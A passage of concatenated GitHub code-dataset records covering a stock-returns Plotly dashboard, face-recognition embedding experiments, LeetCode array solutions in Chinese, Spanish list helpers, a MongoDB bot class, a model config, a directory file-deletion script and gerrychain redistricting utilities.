color_discrete_sequence=['darkgrey','grey','indianred'],\n                 barmode='group',\n                )\n\n    fig.update_layout(margin=dict(l=20, r=20),\n                      title=f'Sector EW returns',\n                     height=600,\n                     xaxis_title=None,\n                     yaxis_title=None\n                     )\n\n    fig.update_yaxes(tickformat='.2%')\n\n    return fig\n\n\ndef scat_stock(df):\n    '''\n\n    '''\n    fig = px.scatter(df,\n                     x='YTD',\n                     y='3M',\n                     color='Sector',\n                     size='Weight',\n                     hover_name='Security',\n                     size_max=40,\n                     color_discrete_sequence=px.colors.qualitative.Plotly,\n                     hover_data={'3M':':.2%',\n                                 'YTD':':.2%',\n                                 'Weight':':2%'},\n                     title=f'Stock returns - 3M vs YTD'\n\n                )\n    fig.update_traces(marker=dict(\n        line=dict(\n        width=0.5,\n        color='DarkSlateGrey')\n    ))\n    fig.update_layout(margin=dict(l=20, r=20),\n                     height=600,\n                    )\n\n    fig.update_yaxes(tickformat='.0%')\n    fig.update_xaxes(tickformat='.0%')\n\n    return fig\n\ndef line_sector(sector_cum_perf_df):\n    '''\n    Plot cumulative performances of Sectors(EW) vs EW of Sectors\n    '''\n    sectors = sector_cum_perf_df.columns\n    fig = px.line(sector_cum_perf_df,\n                     y=sectors,\n                     color_discrete_sequence=px.colors.qualitative.Plotly,\n                     title=f'Cumulative growth | Sector EW - YTD'\n\n                )\n\n    fig.update_layout(margin=dict(l=20, r=20),\n                     height=600,\n                     xaxis_title=None,\n                     yaxis_title=None\n                    )\n\n    fig.update_yaxes(tickformat='.2f')\n\n\n    return fig\n","repo_name":"GuillaumeRib/project_markets_dash","sub_path":"pages/.ipynb_checkpoints/data_viz-checkpoint.py","file_name":"data_viz-checkpoint.py","file_ext":"py","file_size_in_byte":5040,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"70567540032","text":"import pickle\nimport os\nfrom preprocessing.facenet import l2_normalize, prewhiten\nfrom experiment.model_loader import get_augmented_datasets, preprocess_data_facenet_without_aging\nfrom evaluation.distance import cosine, euclidean, face_distance\nimport tensorflow as tf\nfrom tqdm import tqdm\nfrom sklearn.metrics.pairwise import euclidean_distances, cosine_similarity\nfrom sklearn.metrics import DistanceMetric\nfrom scipy.spatial.distance import pdist\nimport numpy as np\nimport pandas as pd\nimport cv2\nfrom collections import OrderedDict\nfrom sklearn.decomposition import PCA\n\ndef collect_data_facenet_keras(model_loader, train_iterator, detectorExperiment):\n  \"\"\"\n  Collect FaceNet Keras data using face detection model\n  @param model_loader:\n  @param train_iterator:\n  @param detectorExperiment:\n  @return:\n  \"\"\"\n  res_images = []\n  # Get input and output tensors\n  for i in tqdm(range(len(train_iterator))):\n    X, y = train_iterator[i]\n    img = []\n    for jj, x in enumerate(X):\n      face = detectorExperiment.face_detect(x)\n      if face is None:\n        continue\n      det = face[0][0:4].astype(np.int32)\n      if x[det[0]:det[2], det[1]:det[3]].size == 0:\n        continue\n      img.append(cv2.resize(x[det[0]:det[2], det[1]:det[3]], (model_loader.input_shape[1], model_loader.input_shape[2])))\n    images_bw = np.stack(img)\n    res_images.append(model_loader.infer(l2_normalize(prewhiten(images_bw))))\n\n  return res_images\n\ndef collect_data_face_recognition_baseline(model_loader, train_iterator, detectorExperiment):\n  \"\"\"\n  Collect Face Recognition using Baseline CVAE by face detection\n  @param model_loader:\n  @param train_iterator:\n  @param detectorExperiment:\n  @return:\n  \"\"\"\n  res_images = []\n  y_classes = []\n  # Get input and output tensors\n  print(len(train_iterator))\n  for i in tqdm(range(len(train_iterator))):\n    X, (y, ) = train_iterator[i]\n    y_classes += y.tolist()\n  classes_counter = 0\n  for i in tqdm(range(len(train_iterator)-1)):\n    X, (y, ) = train_iterator[i]\n    img = []\n    for jj, x in enumerate(X):\n      face = detectorExperiment.face_detect(x)\n      if face is None:\n        continue\n      det = face[0][0:4].astype(np.int32)\n      if x[det[0]:det[2], det[1]:det[3]].size == 0:\n        continue\n      img.append(cv2.resize(x[det[0]:det[2], det[1]:det[3]], (model_loader.input_shape[1], model_loader.input_shape[2])))\n    images_bw = np.stack(img)\n    # res_images.append(model_loader.infer(l2_normalize(prewhiten(X))))\n    classes = y\n    unq_classes = np.unique(classes)\n    y_valid = np.zeros((len(y), 435))\n    for c in unq_classes:\n      y_valid[classes==c, classes_counter]\n      classes_counter += 1\n    res_images.append(model_loader.infer([X/255., y_valid]))\n\n  return res_images\n\nclass FaceNetWithoutAgingExperiment:\n  \n  def __init__(self, dataset, logger=None, model_loader=None):\n    \"\"\"\n    __init__ function\n    @param dataset:\n    @param logger:\n    @param model_loader:\n    \"\"\"\n    self.dataset = dataset\n    self.logger = logger\n    self.model_loader = model_loader\n    self.batchno = 0\n\n  def set_dataset(self, dataset):\n    \"\"\"\n    Set the dataset\n    @param dataset:\n    @return:\n    \"\"\"\n    self.dataset = dataset\n\n  def set_logger(self, logger):\n    \"\"\"\n    Set the logger\n    @param logger:\n    @return:\n    \"\"\"\n    self.logger = logger\n\n  def set_model_loader(self, model_loader):\n    \"\"\"\n    Set the model loader\n    @param model_loader:\n    @return:\n    \"\"\"\n    self.model_loader = model_loader\n    \n  def collect_data(self, data_collection_pkl, iterator=None, model=None, detectorExperiment=None):\n    \"\"\"\n    Collect data by FaceNetKeras or FaceRecognitionByBaselineCVAE\n    @param data_collection_pkl:\n    @param iterator:\n    @param model:\n    @param detectorExperiment:\n    @return:\n    \"\"\"\n    if os.path.isfile(data_collection_pkl):\n      embeddings = pickle.load(data_collection_pkl)\n    elif model == 'FaceNetKeras':\n      embeddings = collect_data_facenet_keras(self.model_loader, self.dataset.iterator if iterator is None else iterator, detectorExperiment)\n    elif model == 'FaceRecognitionBaselineKeras':\n      embeddings = collect_data_face_recognition_baseline(self.model_loader, self.dataset.iterator if iterator is None else iterator, detectorExperiment)\n      \n    return tf.concat(embeddings, axis=0)\n  \n  def calculate_face_distance(self, embeddings):\n    \"\"\"\n    Calculate Face distance\n    @param embeddings:\n    @return:\n    \"\"\"\n    dist = euclidean_distances(embeddings)\n    similarity = cosine_similarity(embeddings)\n    \n    return dist, similarity\n  \n  def calculate_face_error(self, embeddings):\n    \"\"\"\n    Calculate Face Error usign embeddings\n    @param embeddings:\n    @return:\n    \"\"\"\n    embeddings = np.round(embeddings, 1)\n    return (DistanceMetric.get_metric('dice').pairwise(embeddings, embeddings))**-1, (DistanceMetric.get_metric('jaccard').pairwise(embeddings, embeddings))**-1\n  \n  def calculate_face_mahalanonis_distance(self, embeddings):\n    \"\"\"\n    Calculate face mahalanobis distances of embeddings\n    @param embeddings:\n    @return:\n    \"\"\"\n    dist = embeddings.dot(embeddings.T)\n    pca = PCA(n_components=dist.shape[0])\n    pca.fit(dist)\n    dist *= np.cumsum(np.round(pca.explained_variance_ratio_, decimals=3)*100)\n    similarity = cosine_similarity(embeddings)\n    \n    return dist, similarity\n\n  @property\n  def get_list_IDs(self):\n    \"\"\"\n    get the list_IDs of the dataset\n    @return:\n    \"\"\"\n    return self.dataset.list_IDs","repo_name":"Project-Dissertation-MSc-DS-Aswin/Face_Aging_Concept_Drift","sub_path":"src/experiment/face_without_aging.py","file_name":"face_without_aging.py","file_ext":"py","file_size_in_byte":5456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13502020769","text":"'''\n26.删除排序数组中的重复项\n\n给定一个排序数组，你需要在原地删除重复出现的元素，使得每个元素只出现一次，返回移除后数组的新长度。\n\n不要使用额外的数组空间，你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。\n\n示例 1:\n\n给定数组 nums = [1,1,2], \n\n函数应该返回新的长度 2, 并且原数组 nums 的前两个元素被修改为 1, 2。 \n\n你不需要考虑数组中超出新长度后面的元素。\n\n'''\n\ndef removeDuplicates(nums: List[int]) -> int:\n        #排序数组 双指针\n        count = 0\n        for i in range(len(nums) - 1, 0, -1):\n            if nums[i] == nums[i - 1]:\n                while count <= 2:\n                    count += 1\n                del nums[i - 1]\n            count = 0\n        return len(nums) \n            \n#通过\t92 ms\t14.9 MB\tpython3\n\n\n'''\n80. 删除排序数组中的重复项 II\n给定一个排序数组，你需要在原地删除重复出现的元素，使得每个元素最多出现两次，返回移除后数组的新长度。\n\n不要使用额外的数组空间，你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。\n\n示例 1:\n\n给定 nums = [1,1,1,2,2,3],\n\n函数应返回新长度 length = 5, 并且原数组的前五个元素被修改为 1, 1, 2, 2, 3 。\n\n你不需要考虑数组中超出新长度后面的元素。\n'''\ndef removeDuplicates(self, nums: List[int]) -> int:\n        size = len(nums)\n        if size <= 2:\n            return size\n        # counter 表示下一个要覆盖的索引\n        counter = 2 #count为1号指针\n        # 索引为 0 和 1 的数一定会被保留，因此遍历从索引 2 开始\n        for i in range(2, size): #i为2号指针\n            if nums[i] != nums[counter - 2]:\n                nums[counter] = nums[i]\n                counter += 1\n        return counter #counter不等于最后的list长度，counter等于遍历下去所有只含两个count的数字\n#通过\t68 ms\t13.1 MB\tpython3\n\n\n'''\n27. 移除元素\n给定一个数组 nums 和一个值 val，你需要原地移除所有数值等于 val 的元素，返回移除后数组的新长度。\n\n不要使用额外的数组空间，你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。\n\n元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。\n\n示例 1:\n\n给定 nums = [3,2,2,3], val = 3,\n\n函数应该返回新的长度 2, 并且 nums 中的前两个元素均为 2。\n\n你不需要考虑数组中超出新长度后面的元素。\n'''\ndef removeElement(self, nums, val: int) -> int:\n        \n        # #倒着循环就不会产生错误 正循环会出现index 有问题\n        # n = len(nums)\n        # count = 0\n        # for i in range(len(nums)):\n        #     if nums[i] == val:                \n        #         count+=1\n        #         nums.append(nums.pop(i))\n        #     if i >0:\n        #         i -=1\n        # #del nums[n-count+1:n]\n        # return len(nums)\n        \n#解法1        \n#         for i in range(len(nums)-1,-1,-1):\n#             if nums[i]==val:\n#                 nums.pop(i)\n#         return len(nums)\n\n#解法2\n        i = 0\n        n = len(nums)\n        while i < n:\n            if nums[i] == val:\n                nums[i] = nums[n-1] #用最后一个元素来替换\n                n  -= 1             #可以把n先计算出来放到一边\n            else:\n                i += 1              #指针移动\n        return n                    #最后返回的是len(nums) 实际上list里会有一些重复的多余的数字（用已有的非val元素替换的val元素的数字但我们不考虑超出长度的部分）\n#通过\t56 ms\t13.3 MB\tpython3\n\n\n'''\n283. 移动零\n给定一个数组 nums，编写一个函数将所有 0 移动到数组的末尾，同时保持非零元素的相对顺序。\n\n示例:\n\n输入: [0,1,0,3,12]\n输出: [1,3,12,0,0]\n说明:\n\n必须在原数组上操作，不能拷贝额外的数组。\n尽量减少操作次数。\n'''\ndef moveZeroes(self, nums: List[int]) -> None:\n        \"\"\"\n        Do not return anything, modify nums in-place instead.\n        \"\"\"\n        for i in range(len(nums)-1,-1,-1):\n            if nums[i]==0:\n                nums.append(nums.pop(i))\n#通过\t68 ms\t13.1 MB\tpython3\n","repo_name":"MisakaMikoto96/Algorithm_for_interview","sub_path":"数组/删除重复.py","file_name":"删除重复.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34475525835","text":"from random import randint\n\n\ndef replindex(lista):\n    \"\"\"Str. Cambiar el elemento de una lista mediante su número indexado\"\"\"\n\n    orden = int(input(\"index: \"))\n    valor = input(\"nuevo valor: \")\n\n    lista[orden] = valor\n    return lista\n\n\ndef replname(lista):\n    \"\"\"Str. Cambiar el elemento de una lista mediante su nombre\"\"\"\n    print(lista)\n\n    buscar = input(\"elemento a buscar: \")\n    valor = input(\"elemento a reemplazar: \")\n\n    lista[lista.index(buscar)] = valor\n\n    return lista\n\n\ndef bingo(lista):\n    \"\"\"Int. ¿Está el número en la lista?\"\"\"\n    buscanum = int(input())\n    if buscanum in lista:\n        print(\"¡Bingo! :)\")\n    else:\n        print(\"¡Agua! :(\")\n\n\ndef stats(lista):\n    \"\"\"Imprime varios atributos de una lista\"\"\"\n    print(lista)\n    print(\"La lista contiene\", len(lista), \"elementos\")\n    print(\"Su valor mínimo es\", min(lista))\n    print(\"Su valor máximo es\", max(lista))\n    print(\"La suma de sus valores es\", sum(lista))\n    print(\"La media de sus valores es\", sum(lista)/len(lista))  # numpy.mean()\n    print(\"El mediano de sus valores es\", sorted(\n        lista)[len(lista)//2])  # numpy.median()\n    # por hacer: scipy.stats.mode: el valor más repetido\n\n\ndef creador():\n    \"\"\"\n    Crea listas [str] mediante inputs.\n    Llamar a la función dentro de una variable que será la lista.\n    Luego la función adicion() añade elementos.\n    \"\"\"\n    nombre = []\n    adicion(nombre)\n    return nombre\n\n\ndef adicion(lista):\n    \"\"\"Añade elementos [str] a una lista ya creada. Sale escribiendo 'ESC'.\"\"\"\n    bucle = True\n\n    while bucle:\n        x = input(\"Añade un elemento a la lista o escribe 'ESC' para salir: \")\n        if x == \"ESC\":\n            bucle = False\n        else:\n            lista.append(x)\n\n\ndef elige(lista, mensaje):\n    \"\"\"\n    Se le pide al usuario que escriba su opción escogida <mensaje>\n    y si está en la <lista> imprime correcto. Si no, repite.\n    \"\"\"\n    userInput = input(mensaje).lower()\n\n    while userInput not in lista:\n        print(\"Escríbelo otra vez, por favor.\")\n        userInput = input(mensaje)\n\n        # otras opciones------------------\n        # minúsculas:\n        #userInput = input(mensaje).lower()\n        # mayúsculas:\n        #userInput = input(mensaje).upper()\n    # números:\n    # while userInput.isdigit() == False:\n\n    print(\"Correcto.\")\n\n# Mejor usar itemsList()\n# def indexElem(lista):\n#     \"\"\"Muestra los índices y elementos de una lista.\"\"\"\n#     contador = 0\n#     for i in lista:\n#         print(f\"[{contador}] = {i}\")\n#         contador += 1\n\n\n# Mejor usar itemsList()\n# def elemIndex(lista):\n#     \"\"\"Muestra los elementos de una lista y sus índices.\"\"\"\n#     for i in range(len(lista)):\n#         print(f\"{lista[i]} = [{i}]\")\n\n\ndef itemsList(lista):\n    \"\"\"Imprime los índices y elementos de una lista.\"\"\"\n    for i in lista:\n        print(f\"[{lista.index(i)}]: {i}\")\n\n\n# Mejor usar lista.count(\"buscar\")\n# def cuantoshay(lista, buscar):\n#     \"\"\"Con una lista dada, encuentra las veces que aparece un elemento\"\"\"\n#     # También se puede hacer con re.findall:\n#     # coincidencias = re.findall(buscar, str(lista))\n#     # print(\"Número de coincidencias:\", len(coincidencias))\n#     numveces = 0\n#     for i in lista:\n#         if(i == buscar):\n#             numveces += 1\n#     # print(\"Número de coincidencias:\", numveces)\n#     return numveces\n\n\ndef generaNums():\n    \"\"\"\n    Se da un límite para generar números aleatorios\n    y crea una lista con ellos tan extensa como se especifique.\n    \"\"\"\n    cont = 1\n    miLista = []\n    limite = int(input(\"Rango de 1 a\"))\n    extension = int(input(\"Extensión de la lista\"))\n\n    while cont < extension:\n        miLista.append(randint(1, limite))\n        cont = cont+1\n    return miLista\n\n\ndef cartesian(list1, list2):\n    \"\"\"Dadas 2 listas, devuelve las permutaciones posibles entre elementos.\"\"\"\n    cartesList = [[a, b] for a in list1 for b in list2]\n    return cartesList\n","repo_name":"NoaVelasco/modulosPython","sub_path":"listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35147191773","text":"\nfrom datetime import datetime\n\n\nfrom summer_module.user_conversation import WorkUser, UserLs\nimport numpy as np\n\n\nclass WorkLs(WorkUser):\n\n    #@checking_admin\n    # async def run(self, **kwargs):\n    #\n    #     return_dict = await self._unban(peer_id_number, answer_number)\n    #     await self.update_all_user_new()\n    #     return return_dict\n\n    def __init__(self, manager_db, settings_info=None, user_id: int = 0, current_time: int = 0, users_info=None):\n        super().__init__(manager_db, settings_info, user_id, current_time, users_info)\n        self.user_ls = None\n\n    async def location_tree_check(self):\n        #print(self.manager_db)\n        self.user_ls = UserLs(user_id=self.user_id)\n        self.user_ls.self_generator(await self.manager_db.user_insert_one(self.user_ls.class_dict,\n                                                                          self.work_ls_documents))\n        return self.user_ls\n\n    async def location_tree_set(self, location_tree):\n        self.user_ls.location_tree = location_tree\n        await self.manager_db.user_update_one(self.user_ls.class_dict, self.work_ls_documents)\n\n    async def location_tree_update(self):\n        await self.manager_db.user_update_one(self.user_ls.class_dict, self.work_ls_documents)\n\n\n\n\n    async def get_log_users(self, user_id, peer_id, action, cause, finish_time, time_plus):\n        log_dict = {\n            \"from_id\": user_id,\n            \"peer_id\": peer_id,\n            \"current_time\": self.current_time,\n            \"action\": action,\n            \"cause\": cause,\n            \"finish_time\": finish_time,\n            \"time_plus\": time_plus\n        }\n        return log_dict\n\n    async def get_log_general(self, user_id, peer_id, action, cause, finish_time, time_plus):\n        log_dict = {\n            \"user_id\": self.user_id,\n            \"from_id\": user_id,\n            \"peer_id\": peer_id,\n            \"current_time\": self.current_time,\n            \"type\": \"ban\",\n            \"action\": action,\n            \"cause\": cause,\n            \"finish_time\": finish_time,\n            \"time_plus\": time_plus\n        }\n        return log_dict\n\n\nif __name__ == \"__main__\":\n    from motor import MotorClient\n    from mongodb import MongoManager\n    import asyncio\n    import yaml\n    with open('../description_commands.yaml', encoding=\"utf-8\") as fh:\n        read_data = yaml.load(fh, Loader=yaml.FullLoader)\n    # pprint(read_data)\n    loop = asyncio.get_event_loop()\n    uri = 'mongodb://localhost:27017'\n    client = MotorClient(uri)\n\n    mongo_manager = MongoManager(client)\n    #wok = WorkUser(mongo_manager, 55, 100) self.settings_info = await self.manager_db.settings_get_one(self.settings_documents)\n\n    loop.run_until_complete(mongo_manager.settings_update_one(read_data, \"settings\"))\n    settings_info = loop.run_until_complete(mongo_manager.settings_insert_one(read_data, \"settings\"))\n\n    # test2 = loop.run_until_complete(wok.lvl_cmd_add_list({\"xp\": 12345}, \"profile\"))\n    # test2 = loop.run_until_complete(wok.lvl_list({\"xp\": 700}))\n    # test2 = loop.run_until_complete(wok.achievements_check(user_info_list=[123456]))\n    # test2 = loop.run_until_complete(wok.add_ban_user(user_id=123456, peer_id=2000001, cause=\"Спам\"))\n    #test2 = loop.run_until_complete(wok.add_warn_user(user_id=123456, peer_id=2000001, cause=\"Спам\"))\n\n    #  wok = WorkUser(mongo_manager, settings_info,  55, 100)\n\n    unban = UnbanLs(mongo_manager, settings_info,  123456, 100)\n\n    #test2 = loop.run_until_complete(wok.test(user_id=123456, peer_id=2000001, from_id_check=True))\n    test2 = loop.run_until_complete(unban.record_list_peer_ids())\n    #test2 = loop.run_until_complete(unban.run(answer_number=4))\n    #test2 = loop.run_until_complete(unban.task_user_bot_unban())\n    # test2 = loop.run_until_complete(wok.add_warn_user(user_info=123456, cause=\"Спам\"))\n    # pprint(test2)\n    print(test2)\n\n","repo_name":"StasikLeyshin/mir_bot","sub_path":"summer_module/work_ls/work_ls.py","file_name":"work_ls.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37411386454","text":"TRAIN_SAMPLE_PATH = './data/train.csv'\nDEV_SAMPLE_PATH = './data/dev.csv'\n\nBGE_PAD_ID = 0\nTEXT_LEN = 200\n\nBGE_MODEL = 'BAAI/bge-large-zh-v1.5'\n# BGE_MODEL = './bge_model'\nMODEL_DIR = './model/'\nTRAINED_MODEL = './trained_model/15.pth'\n\nSOURCE_DIR = './report_sample'\nOUTPUT_DIR = './output'\n\nEMBEDDING_DIM = 1024\nNUM_CLASSES = 11\n\nEPOCH = 100\nLR = 1e-5\n\nimport torch\n\nif torch.cuda.is_available():\n    torch.cuda.set_device(0)  # This sets the current CUDA device to GPU0\n    DEVICE = 'cuda'\nelse:\n    DEVICE = 'cpu'\n","repo_name":"zhiqix/ReportClassifier","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72035521471","text":"#! /usr/bin/env python\n\nimport os\nfrom optparse import OptionParser\n\n# Parse all of the commandline options\nparser = OptionParser()\nparser.add_option(\"-d\", \"--directory\", \n                  dest=\"root_dir\",\n                  type='string',\n                  help=\"Root directory from which to delete all files.\")\nparser.add_option(\"-r\", \"--dry-run\",\n                  action = \"store_true\",\n                  default = False,\n                  help = \"Prints all file names to the console, instead of deleteing them.\",\n                  dest=\"dry_run\")\n\n(options, args) = parser.parse_args()\n\n# Verify that the directory exists\nif not os.path.isdir(options.root_dir):\n    raise Exception(\"Not a valid directory\")\n\n# Execute file printing or file deletions\nif (options.dry_run == True):\n    # Print all of the files that will be deleted\n    for root, dirs, files in os.walk(options.root_dir):\n        for name in files:\n            print(os.path.join(root, name))\nelse:\n    # Delete the files from the root directory\n    for root, dirs, files in os.walk(options.root_dir):\n        for name in files:\n            os.remove(os.path.join(root, name))\n\n    print(f\"All files deleted from {options.root_dir}\")\n\n\n\n","repo_name":"joxborrow/scripts","sub_path":"delete_files.py","file_name":"delete_files.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27450251739","text":"\"\"\"Miscellaneous utilities.\n\"\"\"\n\nfrom dataclasses import dataclass\nimport json\nimport random\nimport os\nimport time\n\nfrom collections import defaultdict\n\nfrom gerrychain import Graph, Partition\nfrom gerrychain.tree import Cut, random_spanning_tree\nfrom pyproj import CRS\nimport networkx as nx\nimport geopandas as gpd\nimport shapely\nimport pandas as pd\nimport maup\n\nfrom . import constants\nfrom . import visualization\n# from .district_quantification import quantify_gerrymandering\n\n\n@dataclass\nclass SimplePartition:\n    \"\"\"Only stores parts and assignment for easy pickling.\n    \"\"\"\n    parts: dict\n    assignment: dict\n\n\ndef create_folder(path):\n    \"\"\"Creates a folder but does not throw an exception if it already exists.\n    \"\"\"\n    try:\n        os.mkdir(path)\n    except FileExistsError:\n        pass\n\n\ndef copy_adjacency(graph):\n    \"\"\"Copies adjacency information from a graph but not attribute data.\n    \"\"\"\n    copy_graph = nx.Graph()\n    for node in graph.nodes():\n        copy_graph.add_node(node)\n    for u, v in graph.edges:\n        copy_graph.add_edge(u, v)\n    return copy_graph\n\n\ndef get_num_vra_districts(partition, label, threshold):\n    \"\"\"Returns the number of minority-opportunity distrcts for a given minority and threshold.\n\n    Parameters\n    ----------\n    partition : gerrychain.Parition\n        Proposed district plan.\n    label : str\n        Node data key that returns the population of that minority.\n    threshold : float\n        Value between 0 and 1 indicating the percent population required for a district to be\n        considered minority opportunity.\n    \"\"\"\n    num_vra_districts = 0\n    for part in partition.parts:\n        total_pop = 0\n        minority_pop = 0\n        for node in partition.parts[part]:\n            total_pop += partition.graph.nodes[node][\"total_pop\"]\n            if label == \"total_combined\":\n                for minority in constants.MINORITY_NAMES:\n                    minority_pop += partition.graph.nodes[node][f\"total_{minority}\"]\n            else:\n                minority_pop += partition.graph.nodes[node][label]\n        if minority_pop / total_pop >= threshold:\n            num_vra_districts += 1\n    return num_vra_districts\n\n\ndef get_county_weighted_random_spanning_tree(graph):\n    \"\"\"Applies random edge weights to a graph, then multiplies those weights depending on whether or\n    not the edge crosses a county border. Then returns the maximum spanning tree for the graph.\"\"\"\n    # start_time = time.time()\n    county_assignments = defaultdict(list)\n    for u in graph.nodes:\n        county_assignments[graph.nodes[u][\"COUNTYFP10\"]].append(u)\n    county_graph = nx.Graph()\n    county_graph.add_nodes_from(county_assignments.keys())\n    superedges = defaultdict(list)\n    for edge in graph.edges():\n        weight = random.random()\n        graph.edges[edge][\"random_weight\"] = weight\n        if graph.nodes[edge[0]][\"COUNTYFP10\"] != graph.nodes[edge[1]][\"COUNTYFP10\"]:\n            superedges[frozenset((graph.nodes[edge[0]][\"COUNTYFP10\"],graph.nodes[edge[1]][\"COUNTYFP10\"]))].append(edge)\n    for edge in superedges:\n        county_graph.add_edge(tuple(edge)[0], tuple(edge)[1], random_weight=random.random())\n    supercounty_spanning_tree = nx.tree.maximum_spanning_tree(\n            county_graph, algorithm=\"kruskal\", weight=\"random_weight\"\n        )\n\n    # county_graph.add_edges_from(superedges.keys())\n    # county_spanning_trees = {}\n    full_spanning_tree = nx.Graph()\n    i = 0\n    for county, node_list in county_assignments.items():\n        county_subgraph = graph.subgraph(node_list)\n        county_spanning_tree = nx.tree.maximum_spanning_tree(\n            county_subgraph, algorithm=\"kruskal\", weight=\"random_weight\"\n        )\n\n        full_spanning_tree = nx.compose(full_spanning_tree, county_spanning_tree)\n        # print(full_spsanning_tree.node_indices())\n        # county_spanning_trees[county] = county_spanning_tree\n    # edge_colors = def ()\n    # visualization.visualize_graph(full_spanning_tree, \"before_spanning_tree.png\", lambda node: shapely.geometry.mapping(shapely.geometry.shape(graph.nodes[node]['geometry']).centroid)[\"coordinates\"], show=True)\n    for edge in supercounty_spanning_tree.edges():\n        edge_list = superedges[frozenset(edge)]\n        # print(edge, superedges.keys())\n        chosen_edge = random.choice(edge_list)\n        full_spanning_tree.add_edge(chosen_edge[0], chosen_edge[1])\n        # weight = random.random()\n        # full_spanning_tree.edges[chosen_edge][\"random_weight\"] = weight*constants.SAME_COUNTY_PENALTY\n    full_spanning_tree.node_indices = graph.node_indices\n    # visualization.visualize_graph(full_spanning_tree, f\"spanning_tree_{random.randint(0, 10000)}.png\", lambda node: shapely.geometry.mapping(shapely.geometry.shape(graph.nodes[node]['geometry']).centroid)[\"coordinates\"], show=True)\n    # print(len(full_spanning_tree.nodes()), len(graph.nodes()))\n    # print(len(full_spanning_tree.edges()), len(graph.edges()))\n    # print(time.time()-start_time)\n    return full_spanning_tree\n    \n    # Old spanning tree code which does not work\n    # for u, v in graph.edges:\n    #     weight = random.random()\n    #     if graph.nodes[u][\"COUNTYFP10\"] == graph.nodes[v][\"COUNTYFP10\"]:\n    #         weight *= constants.SAME_COUNTY_PENALTY\n    #     graph[u][v][\"random_weight\"] = weight\n\n    # spanning_tree = nx.tree.maximum_spanning_tree(\n    #     graph, algorithm=\"kruskal\", weight=\"random_weight\"\n    # )\n    # return spanning_tree\n\n\ndef get_county_spanning_forest(graph):\n    \"\"\"Generates a random spanning forest based on a random spanning tree of the county dual graph\n    as well as a random spanning tree for each of the precinct subgraphs induced by the counties.\n    Accounts for the possibility of counties being noncontiguous as a result of the nodes chosen in\n    `graph`.\n    \"\"\"\n    # Construct a graph with each node being a connected component of nodes that are all in the\n    # same county.\n    county_assignment = {}  # Maps counties to a list of all their precincts.\n    for precinct in graph.nodes:\n        county = graph.nodes[precinct][\"COUNTYFP10\"]\n        if county not in county_assignment:\n            county_assignment[county] = [precinct]\n        else:\n            county_assignment[county].append(precinct)\n    \n    super_graph = Graph()        \n    super_graph_assignment = {}  # Maps precincts to the county-component they are in.\n\n    # Determine nodes of super graph\n    for county, precincts in county_assignment.items():\n        subgraph = graph.subgraph(precincts)\n        components = list(nx.connected_components(subgraph))\n        if len(components) > 1:\n            for i, component in enumerate(components):\n                super_node = f\"{county}-{i}\"\n                for precinct in component:\n                    super_graph_assignment[precinct] = super_node\n                super_graph.add_node(super_node, subgraph=subgraph.subgraph(component))\n        else:\n            for precinct in precincts:\n                super_graph_assignment[precinct] = county\n            super_graph.add_node(county, subgraph=subgraph)\n\n    # Determine edges of super graph\n    for u, v in graph.edges:\n        u_super_node = super_graph_assignment[u]\n        v_super_node = super_graph_assignment[v]\n        if u_super_node == v_super_node:\n            continue\n        if v_super_node not in super_graph[u_super_node]:\n            super_graph.add_edge(u_super_node, v_super_node, constituent_edges=[frozenset((u, v))])\n        else:\n            super_graph[u_super_node][v_super_node][\"constituent_edges\"].append(frozenset((u, v)))\n\n    super_spanning_tree = random_spanning_tree(super_graph)\n\n    precinct_spanning_tree = Graph()\n    # Construct precinct spanning trees for each county.\n    for super_node, subgraph in super_spanning_tree.nodes(data=\"subgraph\"):\n        sub_tree = random_spanning_tree(subgraph)\n        precinct_spanning_tree = nx.compose(precinct_spanning_tree, sub_tree)\n    \n    assert len(precinct_spanning_tree.nodes) == len(graph.nodes)\n\n    # Connect individual spanning trees.\n    for _, _, attrs in super_spanning_tree.edges(data=True):\n        u, v = random.choice(attrs[\"constituent_edges\"])\n        precinct_spanning_tree.add_edge(u, v)\n\n    # visualization.visualize_graph(precinct_spanning_tree, f\"spanning_tree.png\", lambda node: shapely.geometry.mapping(shapely.geometry.shape(graph.nodes[node]['geometry']).centroid)[\"coordinates\"])\n\n    return precinct_spanning_tree\n\n\ndef choose_cut(possible_cuts, graph):\n    \"\"\"Chooses an edge to cut from a spanning tree from a list of cuts that would preserve\n    population equality. Biased towards cuts along county lines.\n    \"\"\"\n    if isinstance(possible_cuts[0], Cut):\n        weights = []\n        for cut in possible_cuts:\n            if graph.nodes[cut.edge[0]][\"COUNTYFP10\"] == graph.nodes[cut.edge[1]][\"COUNTYFP10\"]:\n                weights.append(constants.SAME_COUNTY_PENALTY)\n            else:\n                weights.append(1)\n        return random.choices(possible_cuts, weights=weights)[0]\n    # GerryChain also uses this function to choose a random node for the root of its search, so we\n    # need to provide functionality for that as well.\n    else:\n        return random.choice(possible_cuts)\n\n\ndef partition_by_county(graph):\n    \"\"\"Returns a partition which splits the graph by county.\n    \"\"\"\n    assignment = {}\n    for u in graph.nodes:\n        assignment[u] = graph.nodes[u][\"COUNTYFP10\"]\n    return Partition(graph, assignment)\n\n\ndef get_county_border_proportion(partition):\n    \"\"\"Returns the proportion of cross-district edges that are also cross-county edges.\n    \"\"\"\n    num_cross_county_edges = 0\n    for u, v in partition[\"cut_edges\"]:\n        if partition.graph.nodes[u][\"COUNTYFP10\"] != partition.graph.nodes[v][\"COUNTYFP10\"]:\n           